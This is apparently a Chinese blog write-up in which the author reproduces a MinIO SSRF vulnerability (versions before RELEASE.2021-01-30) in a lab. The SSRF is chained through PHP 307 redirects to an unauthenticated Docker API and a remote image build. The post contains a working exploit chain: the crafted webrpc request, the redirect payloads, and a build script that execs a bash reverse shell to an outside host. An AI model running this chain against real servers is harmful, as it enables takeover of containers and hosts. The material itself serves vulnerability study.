前言 P牛的CVE整个过程一气呵成,文章写的也是深入浅出,爱了爱了 学习下这个 此前点一些较为基础但要知道的东西 docker的通信->未授权访问 docker开了一个2375端口,一般来讲
1 docker -H tcp://127.0.0.1:2375 images
会列下这个docker的镜像 即,如果这个2375端口开放,且能够被我们利用某种手段访问到的话,此时仅限GET型,就会存在一个未授权访问,造成了简单的信息泄露 比如/version,/image/json,/containers/json等等 但是,我们想要实现rce呢? 我们知道可以用docker run、docker exec
命令来执行命令,如果条件满足,我们同样可以利用2375端口去执行一些docker的操作,比如命令执行?
SSRF
恶意请求:从GET型到POST型再到携带特定请求体的攻击,整个过程也是重点
等等 这个CVE很有意思~
影响版本 MinIO < RELEASE.2021-01-30T00-20-58Z
关键 1 2 MinIO 组件中 LoginSTS 接口其实是 AWS STS 登录接口的一个代理,用于将发送到 JsonRPC 的请求转变成 STS 的方式转发给本地的 9000 端口. 由于逻辑设计不当,MinIO 会将用户发送的 HTTP 头 Host 中获取到地址作为 URL 的 Host 来构造新的 URL,但由于请求头是用户可控的,所以可以构造任意的 Host,最终导致存在 SSRF 漏洞.
docker未授权访问 在完全复现之前,我们测一下这个漏洞,看一下,未授权访问下,可以进行哪些攻击
1 2 vulhub/docker/unauthorized-rce docker-compose up -d
了解一下相关apihttps://docker.cadn.net.cn/reference/api_engine_version_v1.24
移步(“记docker未授权访问学习”)~
攻击流程 本次CVE针对MinIO(一款支持部署在私有云的开源对象存储系统) 我们借助某个点进行SSRF,访问内网的2375端口,进而执行docker的操作,进入minio容器内,执行命令
1 2 3 4 5 6 7 MinIO运行在一个小型Docker集群(swarm)中 MinIO开放默认的9000端口,外部可以访问,地址为http://192.168.227.131:9000,但是不知道账号密码 192.168.227.131这台主机是CentOS系统,默认防火墙开启,外部只能访问9000端口,dockerd监听在内网的2375端口(其实这也是一个swarm管理节点,swarm监听在2377端口) MinIO虽然是运行的一个service,但实际上就只有一个容器。
步骤一:环境搭建 docker配置 我们先让我们的docker从2375端口开放 这里我们是改sudo vim /etc/docker/daemon.json
添上
1 "hosts": ["tcp://0.0.0.0:2375", "unix:///var/run/docker.sock"]
然后就可以通过api进行docker使用了
MinIo配置 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 version: '3.7' services: minio1: image: minio/minio:RELEASE.2021 -01 -16 T02-19 -44 Z volumes: - data1-1 :/data1 - data1-2 :/data2 ports: - "9009:9000" environment: MINIO_ACCESS_KEY: minio MINIO_SECRET_KEY: minio123 command: server http://minio{1 ...4 }/data{1 ...2 } healthcheck : test: ["CMD" , "curl" , "-f" , "http://localhost:9000/minio/health/live" ] interval: 30 s timeout: 20 s retries: 3 volumes: data1-1 : data1-2 :
docker-compose up -d
访问9009端口,存在服务
SSRF 审计源码,发现这一块存在漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 func (web *webAPIHandlers) LoginSTS(r *http.Request, args *LoginSTSArgs, reply *LoginRep) error { ctx := newWebContext(r, args, "WebLoginSTS" ) v := url.Values{} v.Set("Action" , webIdentity) v.Set("WebIdentityToken" , args.Token) v.Set("Version" , stsAPIVersion) scheme := "http" if sourceScheme := handlers.GetSourceScheme(r); sourceScheme != "" { scheme = sourceScheme } if globalIsTLS { scheme = "https" } u := &url.URL{ Scheme: scheme, Host: r.Host, } u.RawQuery = v.Encode() req, err := http.NewRequest(http.MethodPost, u.String(), nil ) if err != nil { return toJSONError(ctx, err) } clnt := &http.Client{ Transport: NewGatewayHTTPTransport(), } resp, err := clnt.Do(req) if err != nil { return toJSONError(ctx, err) } defer xhttp.DrainBody(resp.Body) if resp.StatusCode != http.StatusOK { return toJSONError(ctx, errors.New(resp.Status)) } a := AssumeRoleWithWebIdentityResponse{} if err = xml.NewDecoder(resp.Body).Decode(&a); err != nil { return toJSONError(ctx, err) } reply.Token = a.Result.Credentials.SessionToken reply.UIVersion = browser.UIVersion return nil }
接口/minio/webrpc,实现在cmd\web-handlers.go
这里MinIO为了将请求转发给“自己”,就从用户发送的HTTP头Host中获取到“自己的地址”,并将其作为URL的Host构造了新的URL
1 2 3 4 5 6 7 POST /minio/webrpc HTTP/1.1 Host: 127.0 .0.1 :4443 User-Agent: Mozilla/5.0 (Windows NT 10.0 ; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0 .4280.141 Safari/537.36 Content-Type: application/json Content-Length: 76 {"id" :1 ,"jsonrpc" :"2.0" ,"params" :{"token" : "Test" },"method" :"web.LoginSTS" }
而我们可以控制Host,进而造成了ssrf
1 2 3 4 5 6 7 root@vultr:~# nc -lvnp 4443 Listening on 0.0.0.0 4443 Connection received on xxxxxxxx POST /?Action=AssumeRoleWithWebIdentity&Version=2011-06-15&WebIdentityToken=Test HTTP/1.1 Host: 68.232.175.221:4443 User-Agent: Go-http-client/1.1 Content-Length: 0
发现成功能够访问外网了() 这里再利用302跳转,成功访问到内网(Go-http支持)
1 2 <?php header ('Location: http://192.168.1.142:4444/attack?arbitrary=params' );
这里跳转之后只是get,而我们想要实现exec的api,需要post携带请求体
1 2 想到了307跳转,307跳转是在RFC 7231中定义的一种HTTP状态码 307跳转的特点就是不会改变原始请求的方法
使用307,完美继承了发出的POST,并使用POST方式进行请求 现在我们还能传请求体吗?
1 2 <?php header ('Location: http://192.168.1.142:4444/attack?arbitrary=params' , false , 307 );
这里P牛熟读API,给了一个解决方法https://docs.docker.com/reference/api/engine/version/v1.41/#tag/Image/operation/ImageBuild
1 2 remote A Git repository URI or HTTP/HTTPS context URI. If the URI points to a single text file, the file’s contents are placed into a file called Dockerfile and the image is built from that file. If the URI points to a tarball, the file is downloaded by the daemon and the contents therein used as the context for the build. If the URI points to a tarball and the dockerfile parameter is also specified, there must be a file with the corresponding path inside the tarball.
我们vps上写一个dockerfile
1 2 FROM alpine:3.13 RUN wget -T4 http://192.168.1.142:4444/docker/build
重定向改成
1 2 <?php header ('Location: http://192.168.227.131:2375/build?remote=http://192.168.1.142:4443/Dockerfile&nocache=true&t=evil:1' , false , 307 );
这样远程build,直接可以执行命令,完全不需要我们之前预想的通过控制请求包再进行RCE了 这里P牛给了一个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 FROM alpine:3.13 RUN apk add curl bash jq RUN set -ex && \ { \ echo '#!/bin/bash'; \ echo 'set -ex'; \ echo 'target="http://192.168.227.131:2375"'; \ echo 'jsons=$(curl -s -XGET "${target}/containers/json" | jq -r ".[] | @base64")'; \ echo 'for item in ${jsons[@]}; do'; \ echo ' name=$(echo $item | base64 -d | jq -r ".Image")'; \ echo ' if [[ "$name" == *"minio/minio"* ]]; then'; \ echo ' id=$(echo $item | base64 -d | jq -r ".Id")'; \ echo ' break'; \ echo ' fi'; \ echo 'done'; \ echo 'execid=$(curl -s -X POST "${target}/containers/${id}/exec" -H "Content-Type: application/json" --data-binary "{\"Cmd\": [\"bash\", \"-c\", \"bash -i >& /dev/tcp/192.168.1.142/4444 0>&1\"]}" | jq -r ".Id")'; \ echo 'curl -s -X POST "${target}/exec/${execid}/start" -H "Content-Type: application/json" --data-binary "{}"'; \ } | bash
直接找这个容器进去,在里面控制API,进行这个容器的反弹shell 感觉还是很有意思的 也算是第一次接触docker、容器、云等 学到新东西了